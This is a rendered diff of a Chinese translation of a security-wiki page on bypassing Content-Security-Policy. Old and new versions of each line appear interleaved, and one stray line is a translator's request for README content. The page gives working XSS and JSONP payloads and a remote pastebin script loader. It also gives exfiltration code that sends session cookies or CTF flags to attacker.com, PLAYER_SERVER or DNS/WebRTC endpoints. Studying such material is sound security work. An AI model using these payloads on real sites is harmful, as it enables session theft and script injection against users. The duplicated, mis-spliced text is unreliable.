**查找其他 Angular bypasses 在** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
 | 
			
		||||
 | 
			
		||||
### AngularJS 与白名单域名
 | 
			
		||||
### AngularJS 和 whitelisted domain
 | 
			
		||||
```
 | 
			
		||||
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
 | 
			
		||||
```
 | 
			
		||||
在 Angular JS 应用中,用于脚本加载域的 CSP 策略(白名单)可以通过调用回调函数和某些存在漏洞的类来绕过。关于该技术的更多信息,请参见该 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) 上的详细指南。
 | 
			
		||||
在 Angular JS 应用中,为脚本加载白名单域的 CSP 策略可以通过调用 callback functions 和某些 vulnerable classes 被绕过。更多关于该技术的信息,请参见该 [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22) 上的详细指南。
 | 
			
		||||
 | 
			
		||||
Working payloads:
 | 
			
		||||
有效的 payloads:
 | 
			
		||||
```html
 | 
			
		||||
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
 | 
			
		||||
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
 | 
			
		||||
@ -399,13 +400,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
 | 
			
		||||
<!-- no longer working -->
 | 
			
		||||
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
 | 
			
		||||
```
 | 
			
		||||
其他 JSONP 任意执行端点可在 [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) 找到(其中一些已被删除或修复)
 | 
			
		||||
其他 JSONP 任意执行端点可以在 [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) 找到(其中一些已被删除或修复)
 | 
			
		||||
 | 
			
		||||
### 通过重定向绕过
 | 
			
		||||
 | 
			
		||||
当 CSP 遇到服务器端重定向时会发生什么?如果重定向指向一个不被允许的不同源,仍然会失败。
 | 
			
		||||
当 CSP 遇到服务端重定向时会怎样?如果重定向指向一个未被允许的不同源,它仍然会失败。
 | 
			
		||||
 | 
			
		||||
然而,根据 [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) 中的描述,如果重定向指向不同的路径,则可以绕过原有的限制。
 | 
			
		||||
然而,根据 [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects) 的描述,如果重定向指向不同的路径,它可以绕过原有的限制。
 | 
			
		||||
 | 
			
		||||
下面是一个示例:
 | 
			
		||||
```html
 | 
			
		||||
@ -425,25 +426,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
 | 
			
		||||
</body>
 | 
			
		||||
</html>
 | 
			
		||||
```
 | 
			
		||||
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
 | 
			
		||||
如果 CSP 被设置为 `https://www.google.com/a/b/c/d`,因为路径会被考虑,`/test` 和 `/a/test` 的脚本都会被 CSP 阻止。
 | 
			
		||||
 | 
			
		||||
However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
 | 
			
		||||
然而,最终的 `http://localhost:5555/301` 会被**在服务器端重定向到 `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**。由于这是重定向,**路径不会被考虑**,并且**脚本可以被加载**,从而绕过了路径限制。
 | 
			
		||||
 | 
			
		||||
With this redirection, even if the path is specified completely, it will still be bypassed.
 | 
			
		||||
通过这种重定向,即使路径被完整指定,仍然可以被绕过。
 | 
			
		||||
 | 
			
		||||
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
 | 
			
		||||
因此,最佳的解决方案是确保网站不存在任何 open redirect 漏洞,并且 CSP 规则中没有可被利用的域名。
 | 
			
		||||
 | 
			
		||||
### Bypass CSP with dangling markup
 | 
			
		||||
 | 
			
		||||
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
 | 
			
		||||
阅读 [how here](../dangling-markup-html-scriptless-injection/index.html)。
 | 
			
		||||
 | 
			
		||||
### 'unsafe-inline'; img-src \*; via XSS
 | 
			
		||||
```
 | 
			
		||||
default-src 'self' 'unsafe-inline'; img-src *;
 | 
			
		||||
```
 | 
			
		||||
`'unsafe-inline'` 意味着你可以在代码中执行任意脚本(XSS 可以执行代码),而 `img-src *` 意味着你可以在网页中使用来自任意资源的任意图片。
 | 
			
		||||
`'unsafe-inline'` 表示你可以在代码内部执行任意脚本(XSS 可以执行代码),而 `img-src *` 表示网页可以使用来自任意资源的图片。
 | 
			
		||||
 | 
			
		||||
你可以通过图片将数据外泄来绕过这个 CSP(在本例中,XSS 利用一个 CSRF:一个 bot 可访问的页面包含一个 SQLi,并通过图片提取 flag):
 | 
			
		||||
你可以绕过这个 CSP 通过 exfiltrating the data via images(在此场景中,XSS 滥用一个 CSRF:bot 可访问的页面包含一个 SQLi,并通过图片提取 flag):
 | 
			
		||||
```javascript
 | 
			
		||||
<script>
 | 
			
		||||
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
 | 
			
		||||
@ -452,41 +453,41 @@ Image().src='http://PLAYER_SERVER/?'+_)
 | 
			
		||||
```
 | 
			
		||||
来源: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
 | 
			
		||||
 | 
			
		||||
你也可以滥用此配置以**加载插入在图片内的 javascript 代码**。例如,如果页面允许从 Twitter 加载图片。你可以**制作**一个**特殊图片**,将其**上传**到 Twitter 并滥用“**unsafe-inline**”来**执行**一个 JS 代码(像常规的 XSS),该代码会**加载**该**图片**,**提取**其中的 **JS** 并**执行**它: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 | 
			
		||||
你也可以滥用该配置来**加载插入在图片中的 javascript 代码**。例如,如果页面允许从 Twitter 加载图片,你可以**制作**一张**特殊图片**、**上传**到 Twitter 并滥用**"unsafe-inline"**来**执行**JS 代码(作为常规 XSS),该代码会**加载**该**图片**,**提取**其中的**JS**并**执行****它**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
 | 
			
		||||
 | 
			
		||||
### With Service Workers
 | 
			
		||||
 | 
			
		||||
Service workers 的 **`importScripts`** 函数不受 CSP 限制:
 | 
			
		||||
Service Workers 的 **`importScripts`** 函数不受 CSP 限制:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xss-cross-site-scripting/abusing-service-workers.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
### Policy Injection
 | 
			
		||||
### 策略注入
 | 
			
		||||
 | 
			
		||||
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
 | 
			
		||||
**研究:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
 | 
			
		||||
 | 
			
		||||
#### Chrome
 | 
			
		||||
 | 
			
		||||
如果你发送的一个**参数**被**粘贴到**策略的**声明**中,那么你可以以某种方式**更改**该**策略**使其**失效**。你可以通过下面任一绕过方法**允许 script 'unsafe-inline'**:
 | 
			
		||||
如果你发送的**参数**被**粘贴进**该**策略**的**声明**中,那么你可以以某种方式**修改**该**策略**使其**失效**。你可以通过下面任意这些绕过来**允许脚本 'unsafe-inline'**:
 | 
			
		||||
```bash
 | 
			
		||||
script-src-elem *; script-src-attr *
 | 
			
		||||
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
 | 
			
		||||
```
 | 
			
		||||
因为这个指令会 **overwrite existing script-src directives**。\
 | 
			
		||||
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 | 
			
		||||
因为这个指令会**覆盖现有的 script-src 指令**。\
 | 
			
		||||
你可以在这里找到一个例子: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
 | 
			
		||||
 | 
			
		||||
#### Edge
 | 
			
		||||
 | 
			
		||||
在 Edge 中更简单。如果你能在 CSP 中添加这个: **`;_`** **Edge** 会 **drop** 整个 **policy**。\
 | 
			
		||||
在 Edge 中要简单得多。如果你能在 CSP 中添加这个:**`;_`**,**Edge** 会**丢弃**整个**策略**。\
 | 
			
		||||
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
 | 
			
		||||
 | 
			
		||||
### img-src \*; via XSS (iframe) - 时序攻击
 | 
			
		||||
### img-src \*; via XSS (iframe) - 时间攻击
 | 
			
		||||
 | 
			
		||||
Notice the lack of the directive `'unsafe-inline'`\
 | 
			
		||||
This time you can make the victim **load** a page in **your control** via **XSS** with a `<iframe`. This time you are going to make the victim access the page from where you want to extract information (**CSRF**). You cannot access the content of the page, but if somehow you can **control the time the page needs to load** you can extract the information you need.
 | 
			
		||||
注意缺少指令 `'unsafe-inline'`\
 | 
			
		||||
这次你可以通过 **XSS** 使用 `<iframe` 让受害者**加载**一个由**你控制**的页面。 这次你将让受害者访问你想从中提取信息的页面(**CSRF**)。 你无法访问该页面的内容,但如果以某种方式你能**控制页面加载所需的时间**,就可以提取所需的信息。
 | 
			
		||||
 | 
			
		||||
This time a **flag** is going to be extracted, whenever a **char 被正确猜出** via SQLi the **响应** takes **更多时间** due to the sleep function. Then, you will be able to extract the flag:
 | 
			
		||||
这次将要提取一个**flag**,每当通过 **SQLi** **正确猜出一个字符** 时,**响应** 由于 sleep 函数会花费**更多时间**。然后,你将能够提取该 flag:
 | 
			
		||||
```html
 | 
			
		||||
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
 | 
			
		||||
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
 | 
			
		||||
@ -548,24 +549,23 @@ run()
 | 
			
		||||
```
 | 
			
		||||
### 通过 Bookmarklets
 | 
			
		||||
 | 
			
		||||
这种攻击通常涉及社交工程,攻击者会**说服用户将链接拖放到浏览器的 bookmarklet 上**。该 bookmarklet 会包含**malicious javascript**代码,当被 drag\&dropped 或点击时,会在当前网页窗口的上下文中执行,**bypassing CSP 并允许窃取敏感信息**,例如 cookies 或 tokens。
 | 
			
		||||
此攻击通常涉及一些社交工程,攻击者会**说服用户将一个链接拖放到浏览器的 bookmarklet 上**。该 bookmarklet 会包含**恶意 javascript**代码,当被 drag\&dropped 或点击时会在当前 web 窗口的上下文中执行,**绕过 CSP 并允许窃取敏感信息**,例如 cookies 或 tokens。
 | 
			
		||||
 | 
			
		||||
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
 | 
			
		||||
更多信息请 [**查看原始报告**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
 | 
			
		||||
 | 
			
		||||
### 通过限制 CSP 绕过 CSP
 | 
			
		||||
 | 
			
		||||
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
 | 
			
		||||
在 [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution) 中,CSP 被绕过的方法是向一个被允许的 iframe 注入更严格的 CSP,该 CSP 禁止加载某个特定的 JS 文件,随后通过 **prototype pollution** 或 **dom clobbering**,允许 **滥用另一个脚本来加载任意脚本**。
 | 
			
		||||
 | 
			
		||||
你可以使用 **`csp`** 属性来 **限制 Iframe 的 CSP**:
 | 
			
		||||
你可以使用 **`csp`** 属性 **限制 Iframe 的 CSP**:
 | 
			
		||||
```html
 | 
			
		||||
<iframe
 | 
			
		||||
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
 | 
			
		||||
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
 | 
			
		||||
```
 | 
			
		||||
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), it was possible via **HTML injection** to **restrict** more a **CSP** so a script preventing CSTI was disabled and therefore the **vulnerability became exploitable.**\
 | 
			
		||||
在 [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), 通过 **HTML injection** 可以进一步收紧 **CSP**,从而导致用于防止 CSTI 的脚本被禁用,因此该 **漏洞变得可被利用。**\
 | 
			
		||||
CSP can be made more restrictive using **HTML meta tags** and inline scripts can disabled **removing** the **entry** allowing their **nonce** and **enable specific inline script via sha**:  
 | 
			
		||||
CSP 可以通过 **HTML meta tags** 变得更严格,inline scripts 可以通过**移除**允许其 **nonce** 的 **entry** 来被禁用,并通过 **sha** 启用特定的 inline script:
 | 
			
		||||
在 [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48),通过 **HTML injection** 可以对 **CSP** 施加更严格的限制,从而禁用了用于阻止 CSTI 的脚本,因此该 **vulnerability 因而可被利用。**
 | 
			
		||||
 | 
			
		||||
CSP 可以通过使用 **HTML meta tags** 变得更严格,内联脚本也可以通过**移除**允许其 **nonce** 的 **条目** 来禁用,或通过 **enable specific inline script via sha** 来启用特定的内联脚本:
 | 
			
		||||
```html
 | 
			
		||||
<meta
 | 
			
		||||
http-equiv="Content-Security-Policy"
 | 
			
		||||
@ -574,57 +574,57 @@ content="script-src 'self'
 | 
			
		||||
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
 | 
			
		||||
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />
 | 
			
		||||
```
 | 
			
		||||
### JS exfiltration 使用 Content-Security-Policy-Report-Only
 | 
			
		||||
### 使用 Content-Security-Policy-Report-Only 的 JS exfiltration
 | 
			
		||||
 | 
			
		||||
如果你能让服务器返回头部 **`Content-Security-Policy-Report-Only`** 且该头的 **由你控制的值**(可能是因为 CRLF),你可以让它指向你的服务器;如果你用 **`<script>`** 包裹你想 exfiltrate 的 **JS content**,并且由于 CSP 很可能不允许 `unsafe-inline`,这会 **触发 CSP 错误**,脚本的一部分(包含敏感信息)将通过 `Content-Security-Policy-Report-Only` 发送到服务器。
 | 
			
		||||
如果你能让服务器返回头部 **`Content-Security-Policy-Report-Only`**,且该头部的 **值由你控制**(可能因为 CRLF),你就可以让它指向你的服务器;如果你 **用** **`<script>`** 包裹你想要 exfiltrate 的 **JS content**,并且由于 `unsafe-inline` 很可能不被 CSP 允许,这将 **触发 CSP 错误**,脚本的一部分(包含敏感信息)将通过 `Content-Security-Policy-Report-Only` 发送到该服务器。
 | 
			
		||||
 | 
			
		||||
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 | 
			
		||||
例如,[**查看此 CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
 | 
			
		||||
 | 
			
		||||
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
 | 
			
		||||
```javascript
 | 
			
		||||
document.querySelector("DIV").innerHTML =
 | 
			
		||||
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
 | 
			
		||||
```
 | 
			
		||||
### Leaking Information with CSP and Iframe
 | 
			
		||||
### Leaking 信息与 CSP 和 iframe
 | 
			
		||||
 | 
			
		||||
- 创建了一个指向某个 URL 的 `iframe`(比如称为 `https://example.redirect.com`),该 URL 被 CSP 允许。
 | 
			
		||||
- 该 URL 随后重定向到一个秘密 URL(例如 `https://usersecret.example2.com`),该 URL 被 CSP **不允许**。
 | 
			
		||||
- 通过监听 `securitypolicyviolation` 事件,可以捕获 `blockedURI` 属性。该属性会暴露被阻止的 URI 的域名,leaking 出初始 URL 所重定向到的秘密域名。
 | 
			
		||||
- 一个 `iframe` 被创建,指向一个由 CSP 允许的 URL(称为 `https://example.redirect.com`)。
 | 
			
		||||
- 该 URL 随后重定向到一个秘密 URL(例如 `https://usersecret.example2.com`),该 URL 被 CSP **禁止**。
 | 
			
		||||
- 通过监听 `securitypolicyviolation` 事件,可以捕获 `blockedURI` 属性。该属性会暴露被阻止的 URI 的域名,从而 leaking 最初 URL 重定向到的秘密域名。
 | 
			
		||||
 | 
			
		||||
值得注意的是,像 Chrome 和 Firefox 这样的浏览器在处理与 CSP 相关的 `iframe` 时行为不同,这种未定义行为可能导致敏感信息的 leakage。
 | 
			
		||||
值得注意的是,像 Chrome 和 Firefox 这样的浏览器在处理与 CSP 相关的 iframe 时行为不同,这种未定义行为可能导致敏感信息的 leakage。
 | 
			
		||||
 | 
			
		||||
另一种技术是利用 CSP 本身来推断秘密子域。该方法依赖于二分查找算法,并通过调整 CSP 以包含特定的、被故意阻止的域名来实现。例如,如果秘密子域由未知字符组成,你可以通过迭代地测试不同的子域名,修改 CSP 指令以阻止或允许这些子域。下面是一个代码片段,展示了如何设置 CSP 以便实施该方法:
 | 
			
		||||
另一种技术是利用 CSP 本身来推断秘密子域。该方法依赖于 binary search 算法,并通过调整 CSP 来包含被故意阻止的特定域。例如,如果秘密子域由未知字符组成,你可以通过修改 CSP 指令来阻止或允许这些子域,从而迭代地测试不同的子域。下面是一个片段,展示如何设置 CSP 以便实现该方法:
 | 
			
		||||
```markdown
 | 
			
		||||
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
 | 
			
		||||
```
 | 
			
		||||
通过监控哪些请求被 CSP 阻止或允许,可以逐步缩小秘密子域名中可能的字符,最终发现完整的 URL。
 | 
			
		||||
通过监控哪些请求被 CSP 阻止或允许,可以缩小秘密子域中可能字符的范围,最终发现完整的 URL。
 | 
			
		||||
 | 
			
		||||
这两种方法都利用了浏览器中 CSP 实现和行为的细微差别,展示了看似安全的策略如何无意中 leak 敏感信息。
 | 
			
		||||
这两种方法利用了浏览器中 CSP 实现和行为的细微差异,表明看似安全的策略可能会无意中 leak 敏感信息。
 | 
			
		||||
 | 
			
		||||
技巧来自 [**here**](https://ctftime.org/writeup/29310).
 | 
			
		||||
Trick from [**here**](https://ctftime.org/writeup/29310).
 | 
			
		||||
 | 
			
		||||
## Unsafe Technologies to Bypass CSP
 | 
			
		||||
 | 
			
		||||
### PHP Errors when too many params
 | 
			
		||||
 | 
			
		||||
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), sending too many parameters (1001 GET parameters although you can also do it with POST params and more that 20 files). Any defined **`header()`** in the PHP web code **won't be sent** because of the error that this will trigger.
 | 
			
		||||
According to the [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), 发送过多参数(1001 GET parameters,当然也可以用 POST params 或超过 20 个文件)会触发错误。任何在 PHP web 代码中定义的 **`header()`** 都 **won't be sent**,因为该错误会触发。
 | 
			
		||||
 | 
			
		||||
### PHP response buffer overload
 | 
			
		||||
 | 
			
		||||
PHP is known for **buffering the response to 4096** bytes by default. Therefore, if PHP is showing a warning, by providing **enough data inside warnings**, the **response** will be **sent** **before** the **CSP header**, causing the header to be ignored.\
 | 
			
		||||
Then, the technique consists basically in **filling the response buffer with warnings** so the CSP header isn't sent.
 | 
			
		||||
PHP is known for **buffering the response to 4096** bytes by default. 因此,如果 PHP 显示 warning,通过在 warnings 中提供 **足够的数据**,**response** 会在 **CSP header** 之前被 **sent**,导致该 header 被忽略。\
 | 
			
		||||
然后,该技术基本上是通过 **用 warnings 填满响应缓冲区**,使 CSP header 不被发送。
 | 
			
		||||
 | 
			
		||||
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
 | 
			
		||||
 | 
			
		||||
### Kill CSP via max_input_vars (headers already sent)
 | 
			
		||||
 | 
			
		||||
Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS.
 | 
			
		||||
Because headers must be sent before any output,PHP 发出的 warnings 会使后续的 `header()` 调用失效。如果用户输入超过 `max_input_vars`,PHP 会先抛出一个 startup warning;任何随后执行的 `header('Content-Security-Policy: ...')` 都会以 “headers already sent” 失败,从而有效地禁用 CSP,允许原本被阻止的 reflective XSS。
 | 
			
		||||
```php
 | 
			
		||||
<?php
 | 
			
		||||
header("Content-Security-Policy: default-src 'none';");
 | 
			
		||||
echo $_GET['xss'];
 | 
			
		||||
```
 | 
			
		||||
示例:
 | 
			
		||||
请提供要翻译的 README.md 内容,我会按要求将相关英文翻译成中文并保留原有的 markdown/HTML 语法与链接。
 | 
			
		||||
```bash
 | 
			
		||||
# CSP in place → payload blocked by browser
 | 
			
		||||
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
 | 
			
		||||
@ -634,9 +634,9 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
 | 
			
		||||
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
 | 
			
		||||
# Warning: Cannot modify header information - headers already sent
 | 
			
		||||
```
 | 
			
		||||
### Rewrite Error Page
 | 
			
		||||
### 重写错误页面
 | 
			
		||||
 | 
			
		||||
从 [**this writeup**](https://blog.ssrf.kr/69) 看起来可以通过加载错误页面(可能没有 CSP)并重写其内容来 bypass CSP 保护。
 | 
			
		||||
From [**this writeup**](https://blog.ssrf.kr/69) 看起来可以通过加载一个错误页面(可能没有 CSP)并重写其内容来绕过 CSP 保护。
 | 
			
		||||
```javascript
 | 
			
		||||
a = window.open("/" + "x".repeat(4100))
 | 
			
		||||
setTimeout(function () {
 | 
			
		||||
@ -645,40 +645,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
 | 
			
		||||
```
 | 
			
		||||
### SOME + 'self' + wordpress
 | 
			
		||||
 | 
			
		||||
SOME 是一种利用 XSS(或受限 XSS)的技术,**在页面的某个端点****滥用** **相同源的其他端点。** 它的做法是从攻击者页面加载易受攻击的端点,然后将攻击者页面刷新到你想滥用的相同源的真实端点。这样,**易受攻击的端点**可以在**`opener`**对象在**payload**中使用来**访问 DOM**以滥用**真实端点**。更多信息请参见:
 | 
			
		||||
SOME 是一种利用 XSS(或高度受限的 XSS)在页面的一个 **endpoint** 中来滥用同一源的其他 **endpoints** 的技术。攻击者通过从 attacker page 加载 vulnerable endpoint,然后将 attacker page 刷新到你想滥用的 same origin 中的 real endpoint 来实现这一点。这样,**vulnerable endpoint** 可以在 **payload** 中使用 **`opener`** 对象来 **访问 real endpoint 的 DOM 以进行滥用**。更多信息请参见:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
../xss-cross-site-scripting/some-same-origin-method-execution.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (with the limitation of only letter, numbers and dots).
 | 
			
		||||
此外,**wordpress** 在 `/wp-json/wp/v2/users/1?_jsonp=data` 有一个 **JSONP** endpoint,会在输出中 **reflect** 所发送的 **data**(限制为仅字母、数字和点)。
 | 
			
		||||
 | 
			
		||||
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
 | 
			
		||||
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 | 
			
		||||
攻击者可以滥用该 endpoint 来针对 WordPress **generate a SOME attack**,并将其 **embed** 在 `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` 中。请注意该 **script** 会被 **loaded**,因为它被 **allowed by 'self'**。此外,既然 WordPress 已安装,攻击者可能会通过 **vulnerable** **callback** endpoint 滥用 **SOME attack** 从而 **bypass the CSP**,以提升某个用户的权限、安装新插件等...\
 | 
			
		||||
关于如何执行此攻击的更多信息,请查看 [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
 | 
			
		||||
 | 
			
		||||
## CSP Exfiltration 绕过
 | 
			
		||||
## CSP Exfiltration Bypasses
 | 
			
		||||
 | 
			
		||||
如果存在严格的 CSP 不允许你**与外部服务器交互**,仍有一些方法可以将信息外泄。
 | 
			
		||||
如果存在严格的 CSP 不允许你 **interact with external servers**,仍然有一些方法可以用来 exfiltrate 信息。
 | 
			
		||||
 | 
			
		||||
### Location
 | 
			
		||||
 | 
			
		||||
You could just update the location to send to the attacker's server the secret information:
 | 
			
		||||
你可以直接更新 location,将秘密信息发送到 attacker's server:
 | 
			
		||||
```javascript
 | 
			
		||||
var sessionid = document.cookie.split("=")[1] + "."
 | 
			
		||||
document.location = "https://attacker.com/?" + sessionid
 | 
			
		||||
```
 | 
			
		||||
### Meta 标签
 | 
			
		||||
### Meta tag
 | 
			
		||||
 | 
			
		||||
你可以通过注入 meta 标签进行重定向(这只是一个重定向,不会 leak 内容)
 | 
			
		||||
你可以通过注入 meta tag 进行重定向(这只是重定向,不会 leak 内容)
 | 
			
		||||
```html
 | 
			
		||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
 | 
			
		||||
```
 | 
			
		||||
### DNS Prefetch
 | 
			
		||||
 | 
			
		||||
为了加快页面加载,浏览器会预先将主机名解析为 IP 地址并缓存以备后用。\
 | 
			
		||||
你可以用以下方式指示浏览器预解析主机名: `<link rel="dns-prefetch" href="something.com">`
 | 
			
		||||
为了更快加载页面,浏览器会预解析主机名为 IP 地址并将其缓存以便后用.\
 | 
			
		||||
你可以指示浏览器预解析主机名: `<link rel="dns-prefetch" href="something.com">`
 | 
			
		||||
 | 
			
		||||
你可以滥用此行为来 **exfiltrate sensitive information via DNS requests**:
 | 
			
		||||
你可以滥用此行为来 **exfiltrate sensitive information via DNS requests**:
 | 
			
		||||
```javascript
 | 
			
		||||
var sessionid = document.cookie.split("=")[1] + "."
 | 
			
		||||
var body = document.getElementsByTagName("body")[0]
 | 
			
		||||
@ -695,18 +695,18 @@ linkEl.rel = "prefetch"
 | 
			
		||||
linkEl.href = urlWithYourPreciousData
 | 
			
		||||
document.head.appendChild(linkEl)
 | 
			
		||||
```
 | 
			
		||||
为了避免这种情况发生,服务器可以发送 HTTP header:
 | 
			
		||||
为防止发生这种情况,服务器可以发送 HTTP header:
 | 
			
		||||
```
 | 
			
		||||
X-DNS-Prefetch-Control: off
 | 
			
		||||
```
 | 
			
		||||
> [!TIP]
 | 
			
		||||
> 显然,此技术在 headless browsers (bots) 中不起作用
 | 
			
		||||
> 据称,该技术在 headless browsers (bots) 中不起作用
 | 
			
		||||
 | 
			
		||||
### WebRTC
 | 
			
		||||
 | 
			
		||||
在多篇文章中可以看到 **WebRTC 不会检查 CSP 的 `connect-src` 策略**。
 | 
			
		||||
在多处页面上你可以看到 **WebRTC 不会检查 CSP 的 `connect-src` 策略**。
 | 
			
		||||
 | 
			
		||||
实际上,你可以使用 _DNS request_ 来 _leak_ 信息。查看以下代码:
 | 
			
		||||
实际上你可以使用 _DNS request_ 来 _leak_ 信息。查看以下代码:
 | 
			
		||||
```javascript
 | 
			
		||||
;(async () => {
 | 
			
		||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
 | 
			
		||||
